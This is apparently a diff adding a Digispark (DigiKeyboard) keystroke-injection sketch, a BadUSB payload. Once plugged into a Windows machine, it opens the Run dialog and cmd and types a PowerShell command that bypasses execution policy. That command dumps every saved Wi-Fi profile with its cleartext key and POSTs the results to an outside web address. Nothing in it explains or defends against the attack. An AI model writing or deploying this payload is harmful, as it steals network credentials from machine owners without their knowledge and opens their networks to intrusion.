| 1 | + | #include "DigiKeyboard.h" |
| 2 | + | void setup() { |
| 3 | + | } |
| 4 | + | |
| 5 | + | void loop() { |
| 6 | + | DigiKeyboard.sendKeyStroke(0); |
| 7 | + | DigiKeyboard.delay(500); |
| 8 | + | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); |
| 9 | + | DigiKeyboard.delay(500); |
| 10 | + | DigiKeyboard.print("cmd"); |
| 11 | + | DigiKeyboard.sendKeyStroke(KEY_ENTER); |
| 12 | + | DigiKeyboard.delay(500); |
| 13 | + | DigiKeyboard.print(F("powershell -NoP -NonI -Exec Bypass \"$n=$f=@();netsh wlan show profiles | Select-String ': (.+)$' | %{$n += (echo $_.Matches.Groups[0].Value.Trim(': '))}; $n | %{$k=((netsh wlan show profile name=$_ key=clear | findstr 'Key Content') -split ': ')[1];$f+=\\\"$_ \: $k\\\"}; iwr -Uri https://t3l3machus.com/aWq8tY -Method POST -body ($f -join('<br>'))\"")); |
| 14 | + | DigiKeyboard.sendKeyStroke(KEY_ENTER); |
| 15 | + | //DigiKeyboard.print("exit"); |
| 16 | + | //DigiKeyboard.sendKeyStroke(KEY_ENTER); |
| 17 | + | for(;;){ /*empty*/ } |
| 18 | + | } |
| 19 | + | |